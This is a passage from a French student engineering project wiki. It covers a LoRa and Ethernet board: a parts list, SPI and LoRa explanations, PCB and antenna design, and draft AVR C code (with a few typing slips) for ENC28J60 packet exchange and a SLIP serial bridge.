 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
